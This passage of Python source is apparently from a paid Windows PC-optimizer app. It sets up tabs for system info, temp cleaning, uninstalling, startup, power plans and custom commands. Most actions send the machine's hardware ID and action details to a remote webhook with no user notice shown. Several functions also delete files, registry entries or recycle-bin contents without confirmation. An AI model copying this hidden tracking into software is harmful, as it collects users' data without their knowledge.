  678.                 "CPU Times": ctk.CTkLabel(info_grid, text="CPU Times: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  679.                 "RAM": ctk.CTkLabel(info_grid, text="RAM: 0 GB / 0 GB", font=("Roboto", 20), text_color="#e0e0e0"),
  680.                 "Swap Memory": ctk.CTkLabel(info_grid, text="Swap Memory: 0 GB / 0 GB", font=("Roboto", 20), text_color="#e0e0e0"),
  681.                 "Disk": ctk.CTkLabel(info_grid, text="Disk: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  682.                 "Disk IO": ctk.CTkLabel(info_grid, text="Disk IO: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  683.                 "Network Interfaces": ctk.CTkLabel(info_grid, text="Network Interfaces: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  684.                 "Network IO": ctk.CTkLabel(info_grid, text="Network IO: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  685.                 "Battery": ctk.CTkLabel(info_grid, text="Battery: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  686.                 "Temperatures": ctk.CTkLabel(info_grid, text="Temperatures: Not available", font=("Roboto", 20), text_color="#e0e0e0"),
  687.                 "Fans": ctk.CTkLabel(info_grid, text="Fans: Not available", font=("Roboto", 20), text_color="#e0e0e0"),
  688.                 "Processes": ctk.CTkLabel(info_grid, text="Processes: 0", font=("Roboto", 20), text_color="#e0e0e0"),
  689.                 "Users": ctk.CTkLabel(info_grid, text="Users: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  690.                 "Uptime": ctk.CTkLabel(info_grid, text="Uptime: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  691.                 "BIOS Version": ctk.CTkLabel(info_grid, text="BIOS Version: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  692.                 "Motherboard": ctk.CTkLabel(info_grid, text="Motherboard: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  693.                 "GPU": ctk.CTkLabel(info_grid, text="GPU: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  694.                 "Computer System": ctk.CTkLabel(info_grid, text="Computer System: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  695.             }
  696.             for i, label in enumerate(self.info_labels.values()):
  697.                 label.grid(row=i, column=0, sticky="w", padx=20, pady=5)
  698.         except Exception as e:
  699.             self.handle_error("Info tab setup error", e)
  700.     def setup_clean_tab(self):
  701.         try:
  702.             clean_frame = ctk.CTkFrame(self.content_frame, fg_color="#2a2a2a", corner_radius=15)
  703.             self.tab_frames["Clean Temp"] = clean_frame
  704.             self.create_label(clean_frame, "Clean Temporary Files", font_size=24)
  705.             self.create_label(clean_frame, "Free up disk space by removing temporary files", font_size=16)
  706.             self.clean_btn = self.create_button(clean_frame, "Clean Temp Files", self.clean_temp, tooltip_text="Remove temporary files to free disk space")
  707.             self.progress_bar = ctk.CTkProgressBar(clean_frame, mode="indeterminate", corner_radius=10, progress_color="#1e90ff")
  708.             self.progress_bar.pack(pady=15, padx=20)
  709.             self.progress_bar.set(0)
  710.             self.clean_result = ctk.CTkTextbox(clean_frame, height=200, font=("Roboto", 16), text_color="#e0e0e0", fg_color="#1e1e1e", corner_radius=10, wrap="word", border_width=1, border_color="#444444")
  711.             self.clean_result.pack(pady=15, padx=20, fill="both", expand=True)
  712.             self.create_button(clean_frame, "Open Temp Folder", self.open_temp_folder, fg_color="#1e90ff", hover_color="#4682b4", tooltip_text="Open the temporary files folder")
  713.             self.create_button(clean_frame, "Clean Recycle Bin", self.clean_recycle_bin, fg_color="#ff4500", hover_color="#cd3700", tooltip_text="Empty the recycle bin")
  714.         except Exception as e:
  715.             self.handle_error("Clean tab setup error", e)
  716.     def setup_uninstall_tab(self):
  717.         try:
  718.             uninstall_frame = ctk.CTkFrame(self.content_frame, fg_color="#2a2a2a", corner_radius=15)
  719.             self.tab_frames["Uninstall Apps"] = uninstall_frame
  720.             self.create_label(uninstall_frame, "Uninstall Applications", font_size=24)
  721.             self.create_label(uninstall_frame, "Select an application to uninstall permanently", font_size=16)
  722.             self.uninstall_listbox = tk.Listbox(uninstall_frame, height=12, selectmode=tk.SINGLE, bg="#2a2a2a", fg="#e0e0e0", font=("Roboto", 16), selectbackground="#1e90ff", selectforeground="#ffffff")
  723.             self.uninstall_listbox.pack(pady=15, padx=20, fill="both", expand=True)
  724.             self.uninstall_result = ctk.CTkTextbox(uninstall_frame, height=100, font=("Roboto", 16), text_color="#e0e0e0", fg_color="#1e1e1e", corner_radius=10, wrap="word", border_width=1, border_color="#444444")
  725.             self.uninstall_result.pack(pady=10, padx=20, fill="x")
  726.             self.create_button(uninstall_frame, "Uninstall Selected", self.uninstall_app, fg_color="#ff4500", hover_color="#cd3700", tooltip_text="Uninstall the selected application")
  727.             self.load_installed_apps()
  728.         except Exception as e:
  729.             self.handle_error("Uninstall tab setup error", e)
  730.     def load_installed_apps(self):
  731.         try:
  732.             self.uninstall_listbox.delete(0, tk.END)
  733.             apps = []
  734.             for hkey in [winreg.HKEY_LOCAL_MACHINE, winreg.HKEY_CURRENT_USER]:
  735.                 key_path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
  736.                 try:
  737.                     key = winreg.OpenKey(hkey, key_path, 0, winreg.KEY_READ)
  738.                     for i in range(0, winreg.QueryInfoKey(key)[0]):
  739.                         subkey_name = winreg.EnumKey(key, i)
  740.                         subkey = winreg.OpenKey(key, subkey_name)
  741.                         try:
  742.                             name = winreg.QueryValueEx(subkey, "DisplayName")[0]
  743.                             version = winreg.QueryValueEx(subkey, "DisplayVersion")[0]
  744.                             uninstall_string = winreg.QueryValueEx(subkey, "UninstallString")[0]
  745.                             apps.append({"name": name, "version": version, "uninstall": uninstall_string, "key": subkey_name})
  746.                             self.uninstall_listbox.insert(tk.END, f"{name}: {version}")
  747.                         except FileNotFoundError:
  748.                             pass
  749.                         winreg.CloseKey(subkey)
  750.                     winreg.CloseKey(key)
  751.                 except Exception as e:
  752.                     pass
  753.             self.uninstall_listbox.apps = apps
  754.             self.show_notification("Installed apps loaded", success=True)
  755.         except Exception as e:
  756.             self.handle_error("Failed to load installed apps", e)
  757.     def uninstall_app(self):
  758.         selection = self.uninstall_listbox.curselection()
  759.         if not selection:
  760.             self.show_notification("No app selected", success=False)
  761.             return
  762.         index = selection[0]
  763.         app = self.uninstall_listbox.apps[index]
  764.         self.send_webhook(WEBHOOK_FEATURE, "Uninstall Apps Tab: Uninstalling App", f"App: {app['name']} {app['version']}\nHWID: {self.hwid}", 0x3498db)
  765.         def do_uninstall():
  766.             try:
  767.                 uninstall_string = app['uninstall']
  768.                 if "msiexec" in uninstall_string.lower():
  769.                     # Extract GUID
  770.                     guid_start = uninstall_string.find("{")
  771.                     if guid_start != -1:
  772.                         guid = uninstall_string[guid_start:uninstall_string.find("}", guid_start) + 1]
  773.                         cmd = ["msiexec.exe", "/x", guid, "/qn"]
  774.                     else:
  775.                         cmd = uninstall_string.split() + ["/qn"]
  776.                 else:
  777.                     cmd = uninstall_string.split() + ["/silent"]
  778.                 result = subprocess.run(cmd, capture_output=True, text=True, check=True)
  779.                 output = result.stdout + result.stderr
  780.                 self.root.after(0, lambda: self.uninstall_result.insert(tk.END, f"Uninstalled {app['name']} {app['version']}\nCommand: {' '.join(cmd)}\nOutput: {output}\nCompleted at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n"))
  781.                 self.root.after(0, lambda: self.show_notification(f"Uninstalled {app['name']}", success=True))
  782.                 self.root.after(0, self.load_installed_apps)
  783.             except Exception as e:
  784.                 self.root.after(0, lambda: self.handle_error("Uninstall failed", e))
  785.         threading.Thread(target=do_uninstall, daemon=True).start()
  786.         self.status_var.set("Uninstalling app...")
  787.     def setup_startup_tab(self):
  788.         try:
  789.             startup_frame = ctk.CTkFrame(self.content_frame, fg_color="#2a2a2a", corner_radius=15)
  790.             self.tab_frames["Startup Programs"] = startup_frame
  791.             self.create_label(startup_frame, "Manage Startup Programs", font_size=24)
  792.             self.create_label(startup_frame, "Control programs that run at startup", font_size=16)
  793.             self.startup_listbox = tk.Listbox(startup_frame, height=12, selectmode=tk.SINGLE, bg="#2a2a2a", fg="#e0e0e0", font=("Roboto", 16), selectbackground="#1e90ff", selectforeground="#ffffff")
  794.             self.startup_listbox.pack(pady=15, padx=20, fill="both", expand=True)
  795.             self.startup_result = ctk.CTkTextbox(startup_frame, height=100, font=("Roboto", 16), text_color="#e0e0e0", fg_color="#1e1e1e", corner_radius=10, wrap="word", border_width=1, border_color="#444444")
  796.             self.startup_result.pack(pady=10, padx=20, fill="x")
  797.             self.create_button(startup_frame, "Disable Selected", self.disable_startup, fg_color="#ff4500", hover_color="#cd3700", tooltip_text="Disable selected startup program")
  798.             self.create_button(startup_frame, "Enable Selected", self.enable_startup, fg_color="#32cd32", hover_color="#228b22", tooltip_text="Enable selected startup program")
  799.             self.load_startup()
  800.         except Exception as e:
  801.             self.handle_error("Startup tab setup error", e)
  802.     def setup_power_plan_tab(self):
  803.         try:
  804.             power_frame = ctk.CTkFrame(self.content_frame, fg_color="#2a2a2a", corner_radius=15)
  805.             self.tab_frames["Power Plans"] = power_frame
  806.             self.create_label(power_frame, "Manage Power Plans", font_size=24)
  807.             self.create_label(power_frame, "Optimize power settings for performance", font_size=16)
  808.             self.power_listbox = tk.Listbox(power_frame, height=12, selectmode=tk.SINGLE, bg="#2a2a2a", fg="#e0e0e0", font=("Roboto", 16), selectbackground="#1e90ff", selectforeground="#ffffff")
  809.             self.power_listbox.pack(pady=15, padx=20, fill="both", expand=True)
  810.             self.power_result = ctk.CTkTextbox(power_frame, height=100, font=("Roboto", 16), text_color="#e0e0e0", fg_color="#1e1e1e", corner_radius=10, wrap="word", border_width=1, border_color="#444444")
  811.             self.power_result.pack(pady=10, padx=20, fill="x")
  812.             self.create_button(power_frame, "Set Selected Plan", self.set_power_plan, tooltip_text="Apply the selected power plan")
  813.             self.create_button(power_frame, "Boost Performance", self.boost_power_plan, tooltip_text="Enable Ultimate Performance plan")
  814.             self.create_button(power_frame, "Delete Selected Plan", self.delete_power_plan, fg_color="#ff0000", hover_color="#cc0000", tooltip_text="Delete the selected power plan")
  815.             self.load_power_plans()
  816.         except Exception as e:
  817.             self.handle_error("Power plan tab setup error", e)
  818.     def setup_disk_tab(self):
  819.         try:
  820.             disk_frame = ctk.CTkFrame(self.content_frame, fg_color="#2a2a2a", corner_radius=15)
  821.             self.tab_frames["Optimize Disk"] = disk_frame
  822.             self.create_label(disk_frame, "Optimize Disk", font_size=24)
  823.             self.create_label(disk_frame, "Defragment drives to improve performance", font_size=16)
  824.             self.disk_listbox = tk.Listbox(disk_frame, height=8, selectmode=tk.SINGLE, bg="#2a2a2a", fg="#e0e0e0", font=("Roboto", 16), selectbackground="#1e90ff", selectforeground="#ffffff")
  825.             self.disk_listbox.pack(pady=15, padx=20, fill="both", expand=True)
  826.             self.disk_result = ctk.CTkTextbox(disk_frame, height=100, font=("Roboto", 16), text_color="#e0e0e0", fg_color="#1e1e1e", corner_radius=10, wrap="word", border_width=1, border_color="#444444")
  827.             self.disk_result.pack(pady=10, padx=20, fill="x")
  828.             self.create_button(disk_frame, "Defragment Selected Drive", self.defragment_disk, tooltip_text="Optimize the selected drive")
  829.             self.load_disks()
  830.         except Exception as e:
  831.             self.handle_error("Disk tab setup error", e)
  832.     def setup_services_tab(self):
  833.         try:
  834.             services_frame = ctk.CTkFrame(self.content_frame, fg_color="#2a2a2a", corner_radius=15)
  835.             self.tab_frames["Services"] = services_frame
  836.             self.create_label(services_frame, "Manage Services", font_size=24)
  837.             self.create_label(services_frame, "Disable non-essential services to save resources", font_size=16)
  838.             self.services_listbox = tk.Listbox(services_frame, height=12, selectmode=tk.SINGLE, bg="#2a2a2a", fg="#e0e0e0", font=("Roboto", 16), selectbackground="#1e90ff", selectforeground="#ffffff")
  839.             self.services_listbox.pack(pady=15, padx=20, fill="both", expand=True)
  840.             self.services_result = ctk.CTkTextbox(services_frame, height=100, font=("Roboto", 16), text_color="#e0e0e0", fg_color="#1e1e1e", corner_radius=10, wrap="word", border_width=1, border_color="#444444")
  841.             self.services_result.pack(pady=10, padx=20, fill="x")
  842.             self.create_button(services_frame, "Disable Selected Service", self.disable_service, fg_color="#ff4500", hover_color="#cd3700", tooltip_text="Disable selected service")
  843.             self.load_services()
  844.         except Exception as e:
  845.             self.handle_error("Services tab setup error", e)
  846.     def setup_commands_tab(self):
  847.         try:
  848.             commands_frame = ctk.CTkFrame(self.content_frame, fg_color="#2a2a2a", corner_radius=15)
  849.             self.tab_frames["Custom Commands"] = commands_frame
  850.             self.create_label(commands_frame, "Custom Commands", font_size=24)
  851.             self.create_label(commands_frame, "Run custom command prompt commands", font_size=16)
  852.             self.command_entry = self.create_entry(commands_frame, "Enter command (e.g., dir)", width=400)
  853.             self.create_button(commands_frame, "Run Command", self.run_command, tooltip_text="Execute the entered command")
  854.             self.command_output = ctk.CTkTextbox(commands_frame, height=200, font=("Roboto", 16), text_color="#e0e0e0", fg_color="#1e1e1e", corner_radius=10, wrap="word", border_width=1, border_color="#444444")
  855.             self.command_output.pack(pady=15, padx=20, fill="both", expand=True)
  856.         except Exception as e:
  857.             self.handle_error("Commands tab setup error", e)
  858.     def setup_settings_tab(self):
  859.         try:
  860.             settings_frame = ctk.CTkFrame(self.content_frame, fg_color="#2a2a2a", corner_radius=15)
  861.             self.tab_frames["Settings"] = settings_frame
  862.             self.create_label(settings_frame, "Settings", font_size=24)
  863.             self.create_label(settings_frame, "Optimize system settings", font_size=16)
  864.             self.create_button(settings_frame, "Check for Updates", lambda: self.check_for_updates(manual=True), tooltip_text="Check for application updates")
  865.             self.create_button(settings_frame, "Disable Background Apps", self.disable_background_apps, tooltip_text="Turn off background apps to save resources")
  866.             self.create_button(settings_frame, "Optimize Visual Effects", self.optimize_visual_effects, tooltip_text="Disable visual effects for better performance")
  867.             self.create_button(settings_frame, "Reduce Startup Delay", self.reduce_startup_delay, tooltip_text="Minimize startup delays")
  868.             self.create_button(settings_frame, "Quit Application", self.quit_application, fg_color="#ff4500", hover_color="#cd3700", tooltip_text="Exit the application")
  869.             self.create_button(settings_frame, "Credits", lambda: self.show_notification("Created by AV (Thanks for purchasing)", success=True, duration=10000), tooltip_text="View application credits")
  870.             self.create_button(settings_frame, "Save", self.save_settings, fg_color="#32cd32", hover_color="#228b22", tooltip_text="Save current settings")
  871.             self.create_button(settings_frame, "Restart", self.restart_app, fg_color="#1e90ff", hover_color="#4682b4", tooltip_text="Restart the application")
  872.         except Exception as e:
  873.             self.handle_error("Settings tab setup error", e)
  874.     def quit_application(self):
  875.         self.send_webhook(WEBHOOK_FEATURE, "Settings Tab: Quit Application", f"HWID: {self.hwid}", 0x3498db)
  876.         self.show_notification("Quitting...", success=True)
  877.         self.root.after(3000, self.root.destroy)
  878.     def auto_refresh_info(self):
  879.         if self.current_tab == "System Info":
  880.             threading.Thread(target=self.refresh_info, daemon=True).start()
  881.         self.root.after(3000, self.auto_refresh_info)
  882.     def refresh_info(self):
  883.         try:
  884.             with self.info_lock:
  885.                 data = self.static_info.copy()
  886.                 cpu_freq = psutil.cpu_freq()
  887.                 data["CPU Frequency"] = f"CPU Frequency: {cpu_freq.current:.2f} MHz (Min: {cpu_freq.min:.2f}, Max: {cpu_freq.max:.2f})" if cpu_freq else "CPU Frequency: Unknown"
  888.                 data["CPU Usage"] = f"CPU Usage: {psutil.cpu_percent(interval=0.1):.1f}%"
  889.                 cpu_times = psutil.cpu_times()
  890.                 data["CPU Times"] = f"CPU Times: User {cpu_times.user:.2f}s, System {cpu_times.system:.2f}s, Idle {cpu_times.idle:.2f}s"
  891.                 memory = psutil.virtual_memory()
  892.                 data["RAM"] = f"RAM: {memory.used // (1024**3)} GB / {memory.total // (1024**3)} GB ({memory.percent}%)"
  893.                 swap = psutil.swap_memory()
  894.                 data["Swap Memory"] = f"Swap Memory: {swap.used // (1024**3)} GB / {swap.total // (1024**3)} GB ({swap.percent}%)"
  895.                 disk_info = []
  896.                 for part in psutil.disk_partitions():
  897.                     try:
  898.                         disk = psutil.disk_usage(part.mountpoint)
  899.                         disk_info.append(f"{part.mountpoint} Free: {disk.free // (1024**3)} GB / Total: {disk.total // (1024**3)} GB ({disk.percent}% used)")
  900.                     except:
  901.                         continue
  902.                 data["Disk"] = f"Disk: {'; '.join(disk_info)}" if disk_info else "Disk: Unknown"
  903.                 disk_io = psutil.disk_io_counters()
  904.                 data["Disk IO"] = f"Disk IO: Read {disk_io.read_bytes // (1024**2)} MB, Write {disk_io.write_bytes // (1024**2)} MB"
  905.                 net_if = psutil.net_if_addrs()
  906.                 interfaces = [f"{iface}: {', '.join([addr.address for addr in addrs if addr.family == 2])}" for iface, addrs in net_if.items()]
  907.                 data["Network Interfaces"] = f"Network Interfaces: {'; '.join(interfaces)}"
  908.                 net_io = psutil.net_io_counters()
  909.                 data["Network IO"] = f"Network IO: Sent {net_io.bytes_sent // (1024**2)} MB, Recv {net_io.bytes_recv // (1024**2)} MB"
  910.                 battery = psutil.sensors_battery()
  911.                 data["Battery"] = f"Battery: {battery.percent}% ({'Plugged' if battery.power_plugged else 'Not Plugged'}, {battery.secsleft // 60} min left)" if battery else "Battery: Not available"
  912.                 try:
  913.                     temps = psutil.sensors_temperatures()
  914.                     temp_str = [f"{name} {entry.label}: {entry.current}°C" for name, entries in temps.items() for entry in entries]
  915.                     data["Temperatures"] = f"Temperatures: {'; '.join(temp_str)}" if temp_str else "Not available"
  916.                 except AttributeError:
  917.                     data["Temperatures"] = "Temperatures: Not available"
  918.                 try:
  919.                     fans = psutil.sensors_fans()
  920.                     fan_str = [f"{name} {entry.label}: {entry.current} RPM" for name, entries in fans.items() for entry in entries]
  921.                     data["Fans"] = f"Fans: {'; '.join(fan_str)}" if fan_str else "Not available"
  922.                 except AttributeError:
  923.                     data["Fans"] = "Fans: Not available"
  924.                 data["Processes"] = f"Processes: {len(psutil.pids())}"
  925.                 data["Users"] = f"Users: {', '.join([u.name for u in psutil.users()])}"
  926.                 boot_time = psutil.boot_time()
  927.                 uptime = datetime.now() - datetime.fromtimestamp(boot_time)
  928.                 days, seconds = uptime.days, uptime.seconds
  929.                 hours, minutes = seconds // 3600, (seconds % 3600) // 60
  930.                 data["Uptime"] = f"Uptime: {days}d {hours}h {minutes}m"
  931.                 self.root.after(0, lambda: self.update_info_labels(data))
  932.         except Exception as e:
  933.             self.root.after(0, lambda: self.handle_error("Error refreshing info", e))
  934.     def update_info_labels(self, data):
  935.         try:
  936.             for key, value in data.items():
  937.                 if key in self.info_labels:
  938.                     self.info_labels[key].configure(text=value)
  939.         except Exception as e:
  940.             self.handle_error("Error updating info labels", e)
  941.     def clean_temp(self):
  942.         self.send_webhook(WEBHOOK_FEATURE, "Clean Temp Tab: Cleaning Temp Files", f"HWID: {self.hwid}", 0x3498db)
  943.         def do_clean():
  944.             try:
  945.                 self.clean_btn.configure(state="disabled")
  946.                 self.progress_bar.start()
  947.                 temp_dir = tempfile.gettempdir()
  948.                 deleted_files = []
  949.                 deleted_count = 0
  950.                 space_before = sum(os.path.getsize(os.path.join(dirpath, filename)) for dirpath, dirnames, filenames in os.walk(temp_dir) for filename in filenames)
  951.                 for root, dirs, files in os.walk(temp_dir, topdown=False):
  952.                     for file in files:
  953.                         file_path = os.path.join(root, file)
  954.                         try:
  955.                             os.remove(file_path)
  956.                             deleted_files.append(file_path)
  957.                             deleted_count += 1
  958.                         except Exception as e:
  959.                             pass # Could log errors, but for now skip
  960.                     for dir in dirs:
  961.                         dir_path = os.path.join(root, dir)
  962.                         try:
  963.                             shutil.rmtree(dir_path)
  964.                             deleted_files.append(dir_path + " (directory)")
  965.                             deleted_count += 1
  966.                         except Exception as e:
  967.                             pass
  968.                 space_after = sum(os.path.getsize(os.path.join(dirpath, filename)) for dirpath, dirnames, filenames in os.walk(temp_dir) for filename in filenames)
  969.                 space_freed = (space_before - space_after) / (1024 * 1024)
  970.                 self.root.after(0, lambda: self.clean_result.delete("0.0", tk.END))
  971.                 output = f"Cleaned {deleted_count} items, freed {space_freed:.2f} MB\n"
  972.                 output += "Deleted items:\n" + "\n".join(deleted_files) + "\n"
  973.                 output += f"Completed at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
  974.                 self.root.after(0, lambda: self.clean_result.insert("0.0", output))
  975.                 self.root.after(0, lambda: self.status_var.set("Temp files cleaned"))
  976.                 self.root.after(0, lambda: self.show_notification(f"Cleaned {deleted_count} items, freed {space_freed:.2f} MB", success=True))
  977.             except Exception as e:
  978.                 self.root.after(0, lambda: self.handle_error("Clean failed", e))
  979.             finally:
  980.                 self.root.after(0, lambda: self.progress_bar.stop())
  981.                 self.root.after(0, lambda: self.clean_btn.configure(state="normal"))
  982.         threading.Thread(target=do_clean, daemon=True).start()
  983.         self.status_var.set("Cleaning temp files...")
  984.     def open_temp_folder(self):
  985.         self.send_webhook(WEBHOOK_FEATURE, "Clean Temp Tab: Opened Temp Folder", f"HWID: {self.hwid}", 0x3498db)
  986.         try:
  987.             temp_dir = tempfile.gettempdir()
  988.             subprocess.Popen(['explorer', temp_dir])
  989.             self.show_notification("Opened temp folder", success=True)
  990.             self.clean_result.insert(tk.END, f"\nTemp folder opened: {temp_dir}\nAction completed at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
  991.         except Exception as e:
  992.             self.handle_error("Failed to open temp folder", e)
  993.     def clean_recycle_bin(self):
  994.         self.send_webhook(WEBHOOK_FEATURE, "Clean Temp Tab: Cleaned Recycle Bin", f"HWID: {self.hwid}", 0x3498db)
  995.         def do_clean():
  996.             try:
  997.                 SHERB_NOCONFIRMATION = 0x00000001
  998.                 SHERB_NOPROGRESSUI = 0x00000002
  999.                 SHERB_NOSOUND = 0x00000004
  1000.                 ctypes.windll.shell32.SHEmptyRecycleBinW(None, None, SHERB_NOCONFIRMATION | SHERB_NOPROGRESSUI | SHERB_NOSOUND)
  1001.                 self.root.after(0, lambda: self.show_notification("Recycle bin cleaned successfully", success=True))
  1002.                 self.root.after(0, lambda: self.clean_result.insert(tk.END, f"\nRecycle bin emptied. All items permanently deleted.\nAction completed at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n"))
  1003.             except Exception as e:
  1004.                 self.root.after(0, lambda: self.handle_error("Failed to clean recycle bin", e))
  1005.         threading.Thread(target=do_clean, daemon=True).start()
  1006.         self.status_var.set("Cleaning recycle bin...")
  1007.     def load_startup(self):
  1008.         try:
  1009.             self.startup_listbox.delete(0, tk.END)
  1010.             key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_READ)
  1011.             index = 0
  1012.             while True:
  1013.                 try:
  1014.                     name, value, _ = winreg.EnumValue(key, index)
  1015.                     self.startup_listbox.insert(tk.END, f"{name}: {value}")
  1016.                     index += 1
  1017.                 except WindowsError:
  1018.                     break
  1019.             winreg.CloseKey(key)
  1020.             try:
  1021.                 key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_READ)
  1022.                 index = 0
  1023.                 while True:
  1024.                     try:
  1025.                         name, value, _ = winreg.EnumValue(key, index)
  1026.                         self.startup_listbox.insert(tk.END, f"{name}: {value} (System)")
  1027.                         index += 1
  1028.                     except WindowsError:
  1029.                         break
  1030.                 winreg.CloseKey(key)
  1031.             except Exception as e:
  1032.                 self.show_notification(f"System startup programs may require admin: {e}", success=False)
  1033.             self.show_notification("Startup programs loaded", success=True)
  1034.         except Exception as e:
  1035.             self.handle_error("Failed to load startup programs", e)
  1036.     def disable_startup(self):
  1037.         selection = self.startup_listbox.curselection()
  1038.         if not selection:
  1039.             self.status_var.set("No program selected")
  1040.             self.show_notification("No program selected", success=False)
  1041.             return
  1042.         item = self.startup_listbox.get(selection[0])
  1043.         name = item.split(":")[0].strip()
  1044.         self.send_webhook(WEBHOOK_FEATURE, "Startup Programs Tab: Disabled Startup Program", f"Program: {name}\nHWID: {self.hwid}", 0x3498db)
  1045.         try:
  1046.             is_system = "(System)" in item
  1047.             key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
  1048.             hkey = winreg.HKEY_LOCAL_MACHINE if is_system else winreg.HKEY_CURRENT_USER
  1049.             key = winreg.OpenKey(hkey, key_path, 0, winreg.KEY_WRITE)
  1050.             winreg.DeleteValue(key, name)
  1051.             winreg.CloseKey(key)
  1052.             self.load_startup()
  1053.             self.status_var.set("Startup program disabled")
  1054.             self.show_notification(f"Disabled startup program: {name}", success=True)
  1055.             self.startup_result.insert(tk.END, f"Disabled {name}\nCompleted at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n")
  1056.         except Exception as e:
  1057.             self.handle_error("Failed to disable startup program", e)
  1058.     def enable_startup(self):
  1059.         self.send_webhook(WEBHOOK_FEATURE, "Startup Programs Tab: Attempted to Enable Startup Program", f"HWID: {self.hwid}\n(Note: Feature not implemented)", 0x3498db)
  1060.         try:
  1061.             selection = self.startup_listbox.curselection()
  1062.             if not selection:
  1063.                 self.status_var.set("No program selected")
  1064.                 self.show_notification("No program selected", success=False)
  1065.                 return
  1066.             self.status_var.set("Startup enable not implemented")
  1067.             self.show_notification("Enabling startup programs is not implemented", success=False)
  1068.         except Exception as e:
  1069.             self.handle_error("Error in enable startup", e)
  1070.     def load_power_plans(self):
  1071.         try:
  1072.             self.power_listbox.delete(0, tk.END)
  1073.             result = subprocess.run(["powercfg", "/list"], capture_output=True, text=True, check=True)
  1074.             lines = result.stdout.splitlines()
  1075.             self.power_listbox.power_plans = {}
  1076.             for line in lines:
  1077.                 if "Power Scheme GUID" in line:
  1078.                     name = line.split(":")[1].split("(")[1].split(")")[0].strip()
  1079.                     guid = line.split(":")[1].split("(")[0].strip()
  1080.                     is_active = "*" in line
  1081.                     self.power_listbox.insert(tk.END, f"{name}{' (Active)' if is_active else ''}")
  1082.                     self.power_listbox.power_plans[self.power_listbox.size() - 1] = guid
  1083.             self.show_notification("Power plans loaded", success=True)
  1084.         except Exception as e:
  1085.             self.handle_error("Failed to load power plans", e)
  1086.     def set_power_plan(self):
  1087.         selection = self.power_listbox.curselection()
  1088.         if not selection:
  1089.             self.status_var.set("No power plan selected")
  1090.             self.show_notification("No power plan selected", success=False)
  1091.             return
  1092.         name = self.power_listbox.get(selection[0]).replace(" (Active)", "")
  1093.         self.send_webhook(WEBHOOK_FEATURE, "Power Plans Tab: Set Power Plan", f"Plan: {name}\nHWID: {self.hwid}", 0x3498db)
  1094.         try:
  1095.             guid = self.power_listbox.power_plans[selection[0]]
  1096.             subprocess.run(["powercfg", "/setactive", guid], check=True)
  1097.             self.load_power_plans()
  1098.             self.status_var.set("Power plan set")
  1099.             self.show_notification("Power plan set successfully", success=True)
  1100.             self.power_result.insert(tk.END, f"Set power plan to {name}\nCompleted at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n")
  1101.         except Exception as e:
  1102.             self.handle_error("Failed to set power plan", e)
  1103.     def boost_power_plan(self):
  1104.         self.send_webhook(WEBHOOK_FEATURE, "Power Plans Tab: Boosted Performance", f"Enabled Ultimate Performance Plan\nHWID: {self.hwid}", 0x3498db)
  1105.         def do_boost():
  1106.             try:
  1107.                 ultimate_guid = "e9a42b02-d5df-448d-aa00-03f14749eb61"
  1108.                 result = subprocess.run(["powercfg", "/list"], capture_output=True, text=True, check=True)
  1109.                 if ultimate_guid in result.stdout:
  1110.                     self.root.after(0, lambda: self.status_var.set("Ultimate Performance plan already exists"))
  1111.                     self.root.after(0, lambda: self.show_notification("Ultimate Performance plan already exists", success=False))
  1112.                 else:
  1113.                     subprocess.run(["powercfg", "-duplicatescheme", ultimate_guid], capture_output=True, text=True, check=True)
  1114.                     subprocess.run(["powercfg", "/setactive", ultimate_guid], capture_output=True, text=True, check=True)
  1115.                     self.root.after(0, self.load_power_plans)
  1116.                     self.root.after(0, lambda: self.status_var.set("Ultimate Performance plan activated"))
  1117.                     self.root.after(0, lambda: self.show_notification("Ultimate Performance plan activated", success=True))
  1118.                     self.root.after(0, lambda: self.power_result.insert(tk.END, f"Activated Ultimate Performance plan\nCompleted at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n"))
  1119.             except Exception as e:
  1120.                 self.root.after(0, lambda: self.handle_error("Failed to manage power plan", e))
  1121.         threading.Thread(target=do_boost, daemon=True).start()
  1122.         self.status_var.set("Applying Ultimate Performance plan...")
  1123.     def delete_power_plan(self):
  1124.         selection = self.power_listbox.curselection()
  1125.         if not selection:
  1126.             self.status_var.set("No power plan selected")
  1127.             self.show_notification("No power plan selected", success=False)
  1128.             return
  1129.         name = self.power_listbox.get(selection[0]).replace(" (Active)", "")
  1130.         self.send_webhook(WEBHOOK_FEATURE, "Power Plans Tab: Deleted Power Plan", f"Plan: {name}\nHWID: {self.hwid}", 0x3498db)
  1131.         try:
  1132.             guid = self.power_listbox.power_plans[selection[0]]
  1133.             subprocess.run(["powercfg", "/delete", guid], check=True)
  1134.             self.load_power_plans()
  1135.             self.status_var.set("Power plan deleted")
  1136.             self.show_notification("Power plan deleted successfully", success=True)
  1137.             self.power_result.insert(tk.END, f"Deleted power plan {name}\nCompleted at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n")
  1138.         except Exception as e:
  1139.             self.handle_error("Failed to delete power plan", e)
  1140.     def load_disks(self):
  1141.         try:
  1142.             self.disk_listbox.delete(0, tk.END)
  1143.             for part in psutil.disk_partitions():
  1144.                 if part.fstype:
  1145.                     self.disk_listbox.insert(tk.END, f"{part.device} ({part.fstype})")
  1146.             self.show_notification("Disks loaded", success=True)
